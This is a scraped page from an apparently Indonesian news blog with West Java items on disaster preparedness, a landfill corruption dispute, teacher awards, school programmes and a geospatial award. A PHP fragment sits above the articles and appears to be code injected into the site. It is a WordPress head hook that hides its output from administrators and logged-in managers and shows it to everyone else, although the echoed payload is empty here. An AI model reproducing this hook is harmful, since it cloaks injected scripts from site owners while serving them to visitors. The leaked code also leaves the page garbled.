Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
BPBD Kabupaten Bandung Dorong Sosialisasi Mitigasi Bencana, Siaga Hadapi Gempa dan Banjir
BANDUNG, VISTA NUSANTARA — Pemerintah Kabupaten (Pemkab) Bandung melalui Badan Penanggulangan Bencana Daerah (BPBD) melayangkan surat himbauan kepada jajaran organisasi perangkat daerah (OPD) maupun para camat se-Kabupaten Bandung.Surat himbauan itu menindaklanjuti surat dari BMKG tentang Informasi Prediksi Musim Hujan 2024/2025 di Provinsi Jawa Barat. Selain itu, Surat Edaran Bupati Bandung tentang Meningkatkan Kewaspadaan dan Kesiapsiagaan Terhadap Potensi Gempa Bumi Megathrust di Kabupaten Bandung.Kemudian informasi tentang perkiraan daerah potensi banjir wilayah Provinsi Jawa Barat untuk bulan November 2024 yang dikeluarkan oleh Badan Meteorologi Klimatologi dan Geofisika (BMKG) bekerjasama dengan Kementerian Pekerjaan Umum dan Perumahan Rakyat (Kementrian PUPR), serta Badan Informasi Geospasial (BIG).Informasi lainnya terkait peta wilayah potensi gerakan tanah di Provinsi Jawa Barat bulan November 2024 yang dikeluarkan oleh Pusat Vulkanologi dan Mitigasi Bencana Geologi (PVMBG) Badan Geologi Kementerian Energi dan Sumber Daya Mineral (ESDM).Pjs. Bupati Bandung Dikky Achmad Sidik melalui Kepala Pelaksana BPBD Kabupaten Bandung Uka Suska Puji Utama mengatakan bahwa sehubungan dengan hal tersebut, dihimbau untuk menyiapkan langkah-langkah pengurangan risiko bencana dan upaya kesiapsiagaan guna mengantisipasi dampak bencana alam seperti gempa bumi, banjir, kekeringan, gerakan tanah (longsor) serta angin kencang.“Kita perlu melakukan monitoring secara berkala untuk mendapatkan informasi peringatan dini cuaca dan potensi ancaman bencana melalui website http://web.meteo.bmkg.go.id/id/pengamatan/satelit. http://web.meteo.bmkg.go.id/id/prakiraan/ikhtisar-indonesia.http://modis-catalog.lapan.go.id/himawari-8/,” tutur Uka Suska dalam keterangannya di Soreang, Selasa (5/11/2024).Uka Suska juga turut mendorong banyak pihak untuk meningkatkan kegiatan sosialisasi, edukasi dan mitigasi kepada masyarakat terkait upaya mitigasi gempa bumi, pencegahan banjir, pencegahan kekeringan, gerakan tanah (longsor) dan angin kencang baik secara tatap muka maupun melalui media elektronik/media sosial.“BPBD juga menghimbau kepada masyarakat untuk meningkatkan kesiapsiagaan jika sewaktu-waktu terjadi gempa bumi dengan mempelajari dan memahami tindakan-tindakan apa saja yang harus dilakukan ketika gempa bumi terjadi,” ujarnya.Uka Suska juga menghimbau kepada masyarakat untuk mewaspadai penyakit-penyakit yang bisa timbul pada musim pancaroba dengan senantiasa menjaga imunitas tubuh dan kebersihan lingkungan sekitar.“BPBD juga menghimbau kepada warga masyarakat yang berada di perbukitan, kaki gunung dan di lokasi lereng/tebing agar selalu waspada, dikhawatirkan terjadi potensi bencana gerakan tanah (longsor),” terangnya.Uka Suska juga kembali menghimbau kepada masyarakat yang berada di sekitar bantaran sungai bila mana terjadi hujan lebat yang berlangsung lama agar selalu berhati-hati dan waspada dikhawatirkan terjadi banjir ataupun banjir bandang.“Apabila terjadi kondisi darurat untuksegera melakukan evakuasi mandiri ke tempat yang aman supaya tidak terjadi adanya korban jiwa,” ujarnya.Uka Suska juga berharap kepada banyak pihak untuk menyiapkan tas siaga bencana agar dapat digunakan pada saat dalam kondisi darurat dan simpan dokumen penting dalam satu tempat yang aman.Ia pun menghimbau untuk tidak membuang sampah ke sungai supaya tidak terjadi penyumbatan pada saluran air yang dapat menyebabkan banjir.“Menghimbau kepada seluruh camat di wilayah Kabupaten Bandung agar dapat melakukan penyebarluasan informasi peringatan dini sampai ke tingkat desa/kelurahan dengan tetap mengantisipasi adanya potensi bencana banjir, gerakan tanah (longsor) dan angin kencang pada saat curah hujan di atas normal,” harapnya.Ia berharap bilamana terjadi bencana dapat menghubungi Pudalops Penanggulangan Bencana Kabupaten Bandung di Call Center 0851-6290-1129.*** -
LAKI-KBB: Pemerintah Pusat Harus Turun Tangan, Tuntaskan Masalah Sampah di Bandung Raya
BANDUNG, VISTA NUSANTARA — Semakin meluasnya penolakan perluasan pembuangan sampah di TPK Sarimukti yang disampaikan oleh berbagai penggiat lingkungan, tokoh masyarakat serta Ketua DPRD Provinsi Jawa Barat, menunjukan kegagalan penanganan sampah di Jawa Barat.Tidak terkecuali Laskar Anti Korupsi Indonesia Kabupaten Bandung Barat/LAKI-KBB yang merupakan kelompok masyarakat asli Bandung Barat secara periodik sering menyampaikan masukan dan kritik kepada PJ Gubernur Bey Machmudin, Dinas Lingkungan Hidup Jawa Barat, hanya saja merasa kesal tidak pernah digubris, ucap Gunawan Rasyid Ketua LAKI KBB, Rabu (06/11/2024).LAKI-KBB sudah berkali-kali melakukan tinjauan lapangan/investigasi di TPK Sarimukti, dan ditemukan berbagai macam dugaan pelanggaran dari mulai proses pengelolaan lingkungan, penanganan sampah sampai pengelolaan IPAL untuk menetralisir air lindi yang diduga dilakukan tidak sesuai aturan.Guras sapaan akrab Ketua LAKI KBB ini menyimpulkan bahwa hingga sekarang masih terjadi pelanggaran yang mengakibatkan kerusakan lingkungan cukup serius dirasakan warga Bandung Barat bahkan mengalir jauh sampai Karawang dan Bekasi, akibat pengabaian penanganan air lindi, adanya dugaan pelanggaran Tindak Pidana Korupsi, bukti-bukti temuan lapangan sudah kami simpan, ucapnya.Fenomena kebijakan Pemda Jabar atas perluasan tempat pembuangan sampah di TPK Sarimukti saat ini, menunjukan kesalahan dan kecerobohan dalam penanganan sampah di Bandung Raya bahkan terindikasi arogan, karena tidak pernah melibatkan expert dari perguruan tinggi maupun komponen masyarakat Bandung Barat dalam diskusi penyelesaian sampah Bandung Raya, padahal sering menyampaikan melalui chat wa Pj Gubernur maupun PLH Kadis LH, ujar Guras.Terbitnya PERTEK/Persetujuan Teknis, diduga terjadi manipulasi data dibandingkan kondisi eksisting, kegiatan perluasan tidak layak dijalankan apalagi proses pengadaan barang dan jasa masih berproses di Pengadilan Tata Usaha Negara Bandung saat ini.Hal yang tepat saat ini KLHK mencabut Surat Persetujuan No.1305/MENLHK/SETJEN/PLA.0/13/2022, dan melakukan audit forensik terhadap kerusakan lingkungan karena kawasan tersebut yang merupakan kawasan hutan produksi.Ambil alih penyelesaian penanganan sampah di Bandung Raya oleh pemerintah pusat sebagai pembuktian konsistensi ucapan Presiden RI Prabowo Subianto dalam mensejahterakan masyarakat, memberantas korupsi dan penegakan hukum yang mengedepankan rasa keadilan di masyarakat, tindak dan penjarakan terhadap oknum pejabat Pemda Jabar yang terbukti melakukan Korupsi dan membuat sengsara rakyat.Solusi yang tepat penyelesaian penanganan sampah di Bandung Raya, Pemerintah Pusat menghadirkan Teknologi Tepat Guna melalui metodologi homogenisasi berikut anggarannya di lokasi TPK Sarimukti dan Kab/Kota yang berada di Bandung Raya, teknologi ini dipastikan akan menghabiskan sampah secara mandiri dan akan menghasilkan SRF/Solidaritas Recoved Fuel yang memiliki nilai ekonomi tinggi karena kalorinya melebihi batubara dan dibutuhkan semua kalangan industri.Pemerintah Pusat yakin mampu mengkonsolidasikan anggaran sebesar apapun untuk kedaruratan penyelesaian sampah, bisa melalui CSR pihak swasta maupun BUMN atau kerjasama dengan pihak ketiga.Proses awal dalam seminggu bisa melakukan diskusi kajian yang melibatkan berbagai macam stakeholder, dari perguruan tinggi di Jabar kan ada ITB, UNPAD, IPB, ekpert dari PT PINDAD dan PT DI tentunya diskusi tersebut harus melibatkan masyarakat khususnya warga Bandung Barat yang menjadi korban, tutur Guras.Lakukan Pilot Projek dalam waktu cepat, setelah hasilnya layak lakukan perbanyak alat sesuai rasio volume sampah yang dihasilkan oleh Kab/Kota di Bandung Raya,tidak perlu menggunakan teknologi yang terlalu rumit, ujarnya.LAKI-KBB sebagai warga Bandung Barat yang memiliki hak hidup layak dan mendapatkan keadilan, secara paralel sedang mempersiapkan upaya hukum Class Action kepada Pemda Jabar atas kerusakan lingkungan hutan produksi di TPK Sarimukti.LAKI KBB juga akan melaporkan kepada Aparat Penegak Hukum atas dugaan pelanggaran Tindak Pidana Korupsi yang dilakukan oknum Pejabat di lingkungan Pemda Jabar, Dinas LH, PTSR, dan pengelola TPK Sarimukti baik yang melakukan penyalahgunaan wewenang, memperkaya orang lain maupun korporasi, agar persoalan sampah selesai paripurna di Bandung Raya, pungkas Guras.*** -
52 Peserta dari 26 Kabupaten,Kota Ikuti Pasanggiri Ngadongeng di Taman Budaya Jabar
BANDUNG, VISTA NUSANTARA — Dalam rangka melestarikan Bahasa Sunda, Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat melalui UPTD Pengelolaan Kebudayaan Daerah Jawa Barat menggelar kegiatan Pasanggiri Ngadongeng Tingkat SLTP dan Sederajat Tahun 2024.Kegiatan ini digelar di Teater Tertutup Taman Budaya Jawa Barat, Kota Bandung, Selasa 5 November 2024.Acara dibuka langsung oleh Plh Kepala Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat Yuke Mauliani Septina yang diwakili Sekretaris Dinas Ani Widiani. Perlombaan ini diikuti oleh 52 peserta dari 26 kabupaten/kota se-Jawa Barat.Sekdisparbud mengapresiasi terselenggaranya kegiatan ini sebagai salah satu upaya Pemerintah Provinsi Jawa Barat dalam memajukan kebudayaan, khususnya Bahasa Sunda. Dirinya berharap melalui perlombaan ini dapat meningkatkan kesadaran dan minat generasi muda dalam melestarikan Bahasa Sunda.Pada festival ini, para peserta berkesempatan untuk menunjukkan keterampilan mendongeng terbaik di hadapan tiga orang juri dari Universitas Pendidikan Indonesia, Universitas Padjadjaran, serta Institut Seni Budaya Indonesia.*** -
Apresiasi Guru Se-Jawa Barat, Penghargaan Istimewa di Hari Guru Nasional
BANDUNG, VISTA NUSANTARA — Ratusan guru se-Jawa Barat menerima penghargaan dalam acara “Bagimu Guru Hari Guru Nasional”! Momen istimewa ini untuk mengapresiasi guru dan tenaga kependidkan (GTK) dalam menyambut Hari Guru Nasional Tahun 2024.Kepala Dinas Pendidikan (Kadisdik) Jabar, Wahyu Mijaya pun memberikan apresiasi sebesar-besarnya kepada para guru di Jabar. “Saya sampaikan apresiasi atas kinerja dan kiprah baik Bapak/Ibu Guru sehingga mendapatkan apresiasi dari pemerintah provinsi maupun pusat. Karena Bapak dan Ibulah nama Jabar tetap harum di Indonesia,” ungkap Kadisdik di Trans Studio Bandung, Senin (4/11/2024).Selanjutnya, tambah Kadisdik, ke depan dunia pendidikan memiliki berbagai tantangan. “Perubahan yang terjadi merupakan tantangan dan peluang bagi kita semua. Kita harus jadikan mereka sanggup menempa diri, bisa bergaul tidak hanya di lingkungan internal (Indonesia), tapi juga di kancah global. Saya percaya di tangan Bapak/Ibu, itu bisa dilakukan,” tuturnya.Dalam kesempatan tersebut, Sekretaris Daerah Jabar, Herman Suryatman pun memotivasi seluruh GTK yang hadir. la mencontohkan kegigihan seorang guru inspiratif, Bu Een yang masih terus mengajar sampai tutup usia meski memiliki keterbatasan fisik.
“Pendidikan berbasis kasih sayang adalah konsep pendidikan yang dikembangkan oleh Bu Een. Beliau percaya bahwa kasih sayang merupakan kunci keberhasilan pendidikan. Walau memiliki keterbatasan, pembelajaran yang beliau berikan jauh lebih efektif. Itulah the power of love,” ungkapnya.Salah satu guru penerima penghargaan, Witri Erdiawati, guru SLBN Cicendo, Kota Bandung pun merasa bersyukur atas penghargaan yang ia raih. -
SMPN 7 Cimahi Bentuk Tim Pencegahan Kekerasan demi Sekolah Aman dan Nyaman
BANDUNG, VISTA NUSANTARA — SMP Negeri 7 Cimahi menerapkan konsep sebagai Sekolah Ramah Anak dan Responsif Gender guna mengimplementasikan tujuan dari penerapan kurikulum merdeka yang berkonsep merdeka belajar guna membentuk satuan pendidikan yang aman, nyaman serta menyenangkan.Seperti yang disampaikan kepala SMP Negeri 7 Cimahi Dr. H. Dahi Juwandi, S.Pd., M.M., bahwa konsep yang dicanangkan di SMPN 7 Cimahi merupakan konsep tindak lanjut serta sebagai usaha guna menghindari 3 dosa dalam pendidikan yang disampaikan oleh Mas Menteri dulu, yaitu bullying, tindak kekerasan dan pelecehan seksual. Dengan terpampang di sekolah saat masuk ke lingkungan sekolah, hal ini menjadi remainding kepada seluruh guru dan tenaga kependidikan di SMPN 7 Cimahi guna menjalankannya.Dengan konsep utama dalam kurikulum merdeka yang mengutamakan pembentukan perilaku dan karakter baik bagi siswa, maka peranan guru sebagai pihak yang memberikan sentuhan inspirasi bagi seluruh siswa dengan harapan tercapainya tujuan sekolah yang dituangkan dalam visi serta misi. Kurikulum merdeka dengan konsep merdeka belajar tentunya belum sempurna dan masih perlu untuk disempurnakan guna membentuk perilaku dan karakter yang sesuai dengan tujuan Generasi Emas di tahun 2045, tutur H. Dahi Juwandi.Salah satu usaha menciptakan sekolah yang aman, nyaman dan menyenangkan, SMPN 7 Cimahi telah membentuk Tim Pencegahan dan Penanganan Kekerasan (TPPK). Tim ini dibentuk sebagai upaya pencegahan dan penanganan kekerasan di lingkungan pendidikan.Konsep Responsif Gender sebagai penegasan bahwa di SMPN 7 Cimahi tidak ada kebijakan yang membeda-bedakan antara laki-laki dan perempuan, dimana semuanya memiliki hak yang sama. Meskipun responsif gender ini diberlakukan, tetap kaum wanita adalah kaum yang harus dihargai sebagaimana kita menghargai ibu kita atau adik perempuan kita, ujar H. Dahi Juwandi.
H. Dahi Juwandi menambahkan bahwa pola pembiasaan menjadi media yang rutin dilaksanakan mulai hari Senin sampai Jumat. Dalam pembiasaan ini meskipun tema yang dilaksanakan berbeda-beda, tetapi tetap menyelipkan pesan mengenai konsep ramah anak, atau ditambah juga saat siswa mendapatkan prestasi di berbagai lomba maka sekolah memberikan apresiasi dan penghargaan sehingga siswa merasa dihargai atas prestasi yang diraihnya. Ke depannya SMPN 7 Cimahi akan melakukan survey kepuasan pada seluruh siswa, hal ini dilaksanakan guna mengukur tingkat kepuasan dari program yang telah dilaksanakan sebagai bahan evaluasi dan perbaikan, sehingga konsep sekolah yang aman, nyaman dan menyenangkan benar-benar terealisasi, pungkas H. Dahi Juwandi.*** -
Bhumandala Award 2024, Pemkab Bandung Diakui dalam Tata Kelola Informasi Geospasial
BANDUNG, VISTA NUSANTARA — Pemerintah Daerah Kabupaten Bandung melalui Dinas Pemberdayaan Masyarakat dan Desa (Dinas PMD) berhasil meraih Bhumandala Kanaka (Medali Emas) untuk Kategori Kabupaten Bhumandala Informasi Geospasial Batas Desa/Kelurahan dalam ajang bergengsi Bhumandala Award 2024 yang diselenggarakan Badan Informasi Geospasial (BIG).Penganugerahan penghargaan Bhumandala Award 2024 ini dilaksanakan di Grand Studio Metro TV Citra Media Nusa Purnama PT., Jalan Pilar Mas Utama No.17 Jakarta, Senin (4/11/2024) malam.Pjs. Bupati Bandung Dikky Achmad Sidik, S.T., M.T., didampingi Kepala Dinas Pemberdayaan Masyarakat dan Desa (PMD) Kabupaten Bandung Drs. H. Tata Irawan Subandi yang menerima langsung penganugerahan penghargaan Bhumandala Kanaka di ajang Bhumandala Award 2024 tersebut.Sebelum penghargaan Bhumandala Kanaka itu ditorehkan Pemerintah Kabupaten (Pemkab) Bandung, terlebih dahulu ada proses ekspos terkait pelaksanaan kegiatan penetapan dan penegasan batas (PPB) desa/kelurahan di Kabupaten Bandung yang diinisiasi Tim Penetapan dan Penegasan Batas Desa/Kelurahan (PPB Des) Kabupaten Bandung.Hal ini diungkapkan Pjs. Bupati Bandung Dikky Achmad Sidik melalui Kepala Dinas PMD Kabupaten Bandung Tata Irawan Subandi usai menerima penghargaan Bhumandala Kanaka (Medali Emas) di ajang Bhumandala Kanaka Award 2024 tersebut.Untuk meraih penghargaan Bhumandala Kanaka pada tahun 2024 ini, dikatakan Tata Irawan, tentunya melalui proses monitoring dan evaluasi dilakukan tidak hanya pada kinerja simpul jaringan informasi geospasial saja.“Namun juga pada penyelenggaraan nama rupabumi, penyelenggaraan informasi geospasial tematik, dan penyelenggaraan informasi geospasial batas desa/kelurahan,” ujarnya.Tata Irawan menjelaskan, rangkaian kegiatan Bhumandala Award 2024 ini dikemas Badan Informasi Geospasial sejak tanggal 26 Juli 2024 sampai dengan 20 Oktober 2024 lalu.“Penyelenggaran ini merupakan bagian dari rangkaian 1 Dekade Bhumandala Award yang bertajuk Tata Kelola Data Spasial Berkualitas untuk Indonesia yang lebih baik,” ujarnya.Dikatakannya, sejak pertama kali diselenggarakan tahun 2014, dan untuk kategori Informasi Geospasial Batas Desa dan Kelurahan merupakan penganugerahan penghargaan tahun ke-2.“Bhumandala Award informasi geospasial batas desa/kelurahan ini diselenggarakan sebagai bentuk apresiasi BIG kepada pemerintah daerah yang telah berkoordinasi dan bersinergi dalam penyelenggaraan penegasan batas desa dan kelurahan yang telah melalui tahapan verifikasi teknis,” tutur Tata Irawan.Menurutnya, Dinas PMD selaku Perangkat Daerah yang melaksanakan program dan kegiatan penetapan dan penegasan batas desa/kelurahan ini mewakili Pemerintah Daerah Kabupaten Bandung.“Dinas PMD turut berpartisipasi dalam ajang bergengsi ini tidak sekedar untuk mendapatkan penghargaan, namun bertujuan untuk mengukur tingkat keberhasilan Tim Penetapan dan Penegasan Batas Desa/Kelurahan (Tim PPB Des) di Kabupaten Bandung yang dibentuk oleh Pemerintah Daerah Kabupaten Bandung dalam menjalankan program kegiatannya,” tuturnya.Tata Irawan menyebutkan penilaian dalam Bhumandala Award untuk Informasi Geospasial Batas Desa/Kelurahan ini meliputi dua kriteria utama yaitu kualitas data dan aktivitas.“Proses penilaiannya pun melibatkan Tim Juri dari BIG dan Kementerian Dalam Negeri, serta dilakukan secara transparan, kredibel dan dapat dipertanggungjawabkan,” ujarnya.Setelah melalui berbagai tahapan verifikasi dan validasi yang ketat, lanjut Tata Irawan, dilakukan penilaian akhir melalui presentasi dan wawancara. Tim Pemerintah Daerah Kabupaten Bandung dipimpin langsung Kepala Dinas PMD Tata Irawan Subandi, mampu bersaing dengan 41 kabupaten terbaik lainnya. Pemerintah Daerah Kabupaten Bandung berhasil meraih Bhumandala Kanaka (medali emas) yang merupakan penghargaan utama.“Keberhasilan dalam meraih penghargaan ini merupakan hasil kerjasama seluruh komponen Tim PPB Des Tim Penetapan dan Penegasan Batas Desa/Kelurahan di Kabupaten Bandung,” kata Tata Irawan dengan nada bangga atas prestasi tersebut.“Kami merasa bangga dapat mengikuti kegiatan ini setelah sebelumnya Tim PPB Des berhasil menyelesaikan Peraturan Bupati tentang Peta Batas Desa untuk seluruh segmen batas desa/kelurahan di Kabupaten Bandung,” ucapnya.Diungkapkannya, segmen batas desa di Kabupaten Bandung itu sendiri tercatat terdapat 826 Segmen Batas, terdiri dari 92 Segmen Batas Desa/Kelurahan antar Kabupaten/Kota, 279 Segmen Batas Desa/Kelurahan antar Kecamatan, dan 455 Segmen Batas Desa antar Desa/Kelurahan.“Seluruh Peraturan Bupati Bandung tentang Peta Batas Desa yang dihasilkan sudah melalui tahapan verifikasi teknis,” ujarnya.“Untuk selanjutnya Dinas PMD merencanakan kegiatan Sosialisasi Peraturan Bupati tersebut, serta melakukan monitoring dan evaluasi,” imbuhnya.Menurut Tata Irawan, kegiatan ini merupakan bagian dari upaya memperkuat pengelolaan informasi geospasial yang akurat, berkualitas, dan bermanfaat bagi pembangunan.“Informasi batas wilayah desa/kelurahan yang valid sangat penting dalam mendukung tata kelola pemerintahan, pelayanan publik, serta penetapan kebijakan pembangunan berbasis spasial,” katanya.“Dengan keberhasilan dalam ajangini diharapkan dapat lebih memahami akan pentingnya Informasi Geospasial Batas Desa/Kelurahan,” pungkasnya.*** -
Atap Roboh, Gedung Pusat Kebudayaan Ditutup Sementara
BANDUNG, VISTA NUSANTARA — Gedung Pusat Kebudayaan akan ditutup seluruhnya untuk sementara waktu. Keputusan ini diambil menyusul insiden robohnya atap di Ruang Gallery, Senin 28 Oktober 2024 lalu.Hal tersebut disampaikan Pj Gubernur Jawa Barat Bey Machmudin saat menggelar rapat penanganan Gedung Pusat Kebudayaan, Minggu 3 November 2024. Penutupan akan dimulai Selasa 5 November karena gedung akan menjalani proses perbaikan.Rapat digelar bersama Sekretaris Daerah Provinsi Jawa Barat Herman Suryatman, Ketua DPRD Jabar Buky Wibawa, dan Ketua Balai Pelestarian Kebudayaan Wilayah IX Retno Raswaty. Turut hadir Kepala Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat Benny Bachtiar, Kepala Dinas Perumahan dan Permukiman Provinsi Jawa Barat Indra Maha, Kepala Badan Perencanaan Pembangunan Daerah Provinsi Jawa Barat lendra Sofyan, serta beberapa stakeholder terkait.
Biaya perbaikan nantinya akan menggunakan APBD Provinsi 2024 pos anggaran Belanja Tak Terduga (BTT). Langkah cepat ini langsung diapresiasi oleh Ketua DPRD Jabar. -
Pemilihan Ketua OSIS, Wujud Demokrasi di SMAN 3 Bandung
BANDUNG, VISTA NUSANTARA — Mempersiapkan calon pemimpin bangsa harus sungguh-sungguh dan penuh keyakinan yang kuat agar cita-cita bangsa ini dapat terwujud dalam mensejahterakan bangsa, kata Cicero, “Within the Character of The Citizen, Lies The Welfare of The Nation”.Kita membangun bangsa dengan membangun karakter bangsa yang hebat dan kuat serta berintegritas, bukan hanya mencerdaskan melalui pengetahuan saja tetapi memberikan seluas-luasnya anak kita berkembang dengan karakter mulia.Melalui Pemilihan Ketua OSIS, membangun demokrasi yang baik dan benar. Berkreatifitas dengan ide gagasan yang terbaik dan saling menghormati perbedaan adalah upaya memperkuat keutuhan, persatuan dan kesatuan bangsa.Demokrasi yang mendewasakan pola pikir yang sehat bukan saling menjatuhkan tetapi saling memperkuat dan saling melengkapi ide gagasan menjadi lebih baik, yang menjadikan kita tumbuh menjadi manusia yang bermanfaat bagi kehidupan berbangsa dan bernegara.Nalar berdemokrasi bukan untuk saling menjatuhkan lawan tetapi bagaimana kita merangkul untuk bersama-sama berperan mengisi pembangunan negeri tercinta.Bangsa ini membutuhkan orang-orang yang berakal sehat, yang mampu memberikan makna kehidupan demi kesejahteraan bangsa, bukan sekedar retorika tetapi bukti nyata dalam perilaku dan perbuatannya.Semoga Allah memberikan kesempatan lahirnya para pemimpin bangsa melalui Pemilihan Ketua OSIS SMAN 3 Bandung, yang penuh tanggung jawab membangun bangsa dan negara tercinta Indonesi. Aamiin.*** -
Dedikasi di Dunia Pendidikan, Toto Warsito Dapat Penghargaan Bergengsi
BANDUNG, VISTA NUSANTARA — Dr. H.Toto Warsito, M.Ag., Kepala SMAN 1 Bantarujeg Majalengka KCD Pendidikan Wilayah IX Jawa Barat, mendapatkan penghargaan dari dinas pendidikan provinsi Jawa Barat pada kategori Pendidik Dedikatif atas dedikasi yang telah diberikan dalam dunia pendidikan.Penghargaan ini diberikan dalam acara Apresiasi Jambore Guru dan Tenaga Kependidikan (GTK) Hebat dengan mengusung tema “Guru Hebat, Indonesia Maju” sebagai kegiatan kolaborasi antara Dinas Pendidikan Provinsi Jawa Barat dengan Balai Besar Guru Penggerak (BBGP) Provinsi Jawa Barat di The Trans Luxury Hotel Bandung jalan Gatot Subroto No. 289 Cibangkong Kecamatan Batununggal Kota Bandung, 3 – 5 November 2024.Penghargaan diberikan sebagai apresiasi kepada Guru dan Tenaga Kependidikan (GTK) yang berdedikasi dan inovatif, serta berkontribusi dalam kemajuan pendidikan di wilayah Jawa Barat. Kegiatan ini juga sebagai bentuk pengakuan terhadap kontribusi dan prestasi Guru dan Tenaga Kependidikan (GTK) dalam meningkatkan mutu pendidikan.Acara kolaborasi antara Dinas Pendidikan Provinsi Jawa Barat dan Balai Besar Guru Penggerak (BBGP) ini bertujuan guna memberikan apresiasi atas dedikasi GTK, memotivasi GTK, membangun jejaring GTK Hemat dan sekaligus merayakan Hari Guru Nasional sebagai bentuk apresiasi kepada profesi guru yang mulia.Toto, yang juga Juara 1 PNS Berprestasi Jawa Barat 2023, mengucapkan syukur Alhamdulillah atas penghargaan yang diterima, semoga pemberian penghargaan ini menjadi semangat dan motivasi bagi GTK lainnya untuk terus meningkatkan kinerja, serta bisa menjadi inspirasi lagi bagi pendidik untuk memberikan yang terbaik bagi dunia pendidikan.Toto menambahkan bahwa kegiatan pemberian penghargaan oleh Disdik dan BBGP Provinsi Jawa Barat merupakan langkah konkret pemerintah dalam memberikan penghargaan kepada guru dan tenaga kependidikan yang telah bekerja keras tanpa lelah dengan segala tantangan, terus berinovasi dengan penuh dedikasi guna mendidik generasi penerus bangsa, pungkasnya.Selain mendapatkan penghargaan dari Disdik dan BBGP Provinsi Jawa Barat, Toto, di hari yang sama mendapatkan kenaikan pangkat luar biasa (KPLB) dari Pembina Utama Muda Golongan IV/C menjadi Pembina Utama Madya golongan IV/D per 1 Oktober 2024 berdasarkan surat keputusan Presiden Nomor: 00424/KEP/AA/15001/24, diserahkan Pj Gubernur Jawa Barat Bey Machmudin di halaman Gedung Sate jalan Diponegoro No. 22 Kota Bandung, Senin 4 November 2024.*** -
SMKN 3 Bandung Fokus pada Visi Unggul dan Berdaya Saing Global
BANDUNG, VISTA NUSANTARA — Tata kelola manejemen satuan pendidikan sebagai bentuk kolaborasi dan sinergitas seluruh warga sekolah menjadi hal penting dalam menentukan ketercapaian visi serta misi satuan pendidikan.Seperti yang disampaikan kepala SMKN 3 Bandung Drs. Agung Indaryatno, M.Pd., bahwa dasar pelaksanaan tata kelola manajemen satuan pendidikan yaitu 8 Standar Nasional Pendidikan (SNP) yang menjadi dasar secara umum. Dari 8 SNP yang ada baik standar kompetensi kelulusan, standar isi, standar proses, standar penilaian pendidikan, standar Pendidik dan tenaga kependidikan, standar sarana dan prasarana, standar pengelolaan serta standar pembiayaan dan semuanya itu pijakan dalam menentukan konsep tata kelola manajemen di satuan pendidikan.Untuk sekolah menengah kejuruan (SMK) tentunya standar tata kelola ini bisa bertambah saat sekolah menjadi sekolah Program Keunggulan (PK) maupun sekolah BLUD. Dalam aturan sebagai sekolah program keunggulan, dimana hal ini berdasarkan pada Keputusan Menteri Pendidikan dan Kebudayaan serta Peraturan Direktur Jenderal Pendidikan Vokasi. Dalam tata kelola sebagai SMK PK maka program pengembangan SMK untuk meningkatkan kualitas dan kinerja dengan kompetensi keahlian tertentu. Program ini diantaranya dilakukan melalui kemitraan dan penyelarasan kurikulum dengan dunia usaha, dunia industri dan dunia kerja, Teaching Factory, BJBL, pemagangan guru, guru tamu, PKL menjadi 6 bulan (semula 3 bulan) tutur Agung Indaryatno.Pengelolaan tata kelola manajemen satuan pendidikan saat ini didasarkan pula pada raport pendidikan, dengan perencanaan berbasis data (PBD) , dengan penerapan skala prioritas dari hasil penilaian komponen yang ada dalam raport pendidikan.Hasil evaluasi dalam tata kelola manajemen satuan pendidikan seperti yang diterapkan di SMKN 3 Bandung yaitu dengan menggabungkan hasil dari raport pendidikan, survey kepuasan pelanggan, audit internal, audit eksternal dan analisis konteks, yang terus dievaluasi sehingga tercapai sinkronisasi. Dari semuanya itu faktor keberhasilan adalah efektifitas ketercapaian visi dan misi sekolah. Visi saat ini yaitu Menciptakan Generasi Unggul, Berkarakter, Siap Kerja dan Berdaya Saing Global, sedangkan misi yang diemban saat ini yaitu meningkatkan kualitas sumber daya pendidik dan tenaga kependidikan, membentuk karakter dan kompetensi peserta didik yang berwawasan global, serta menciptakan ekosistem sekolah sehat serta Pembelajaran yang Efektif dan menyenangkan.Dari semua yang diimplementasikan ada waktu yang menjadi evaluasi, guna mengukur target dan ketercapaiannya. Konsep yang dipakai dalam mengukur ketercapaian ini bisa mulai dari perencanaan, pelaksanaan, pengawasan dan evaluasi.Terakhir dari program yang telah direncanakan dan diimplementasikan, maka perlu kolaborasi seluruh warga sekolah diantaranya guru dan tenaga kependidikan, komite sekolah serta orang tua siswa yang berjalan dengan satu arah dalam pencapaian tujuan dari pelaksanaan tata kelola manajemen satuan pendidikan yang objektif, transparan serta akuntabel, yang semuanya bermuara pada peningkatan mutu pendidikan dalam menyambut Indonesia Emas, pungkas Agung Indaryatno.***













.jpg)















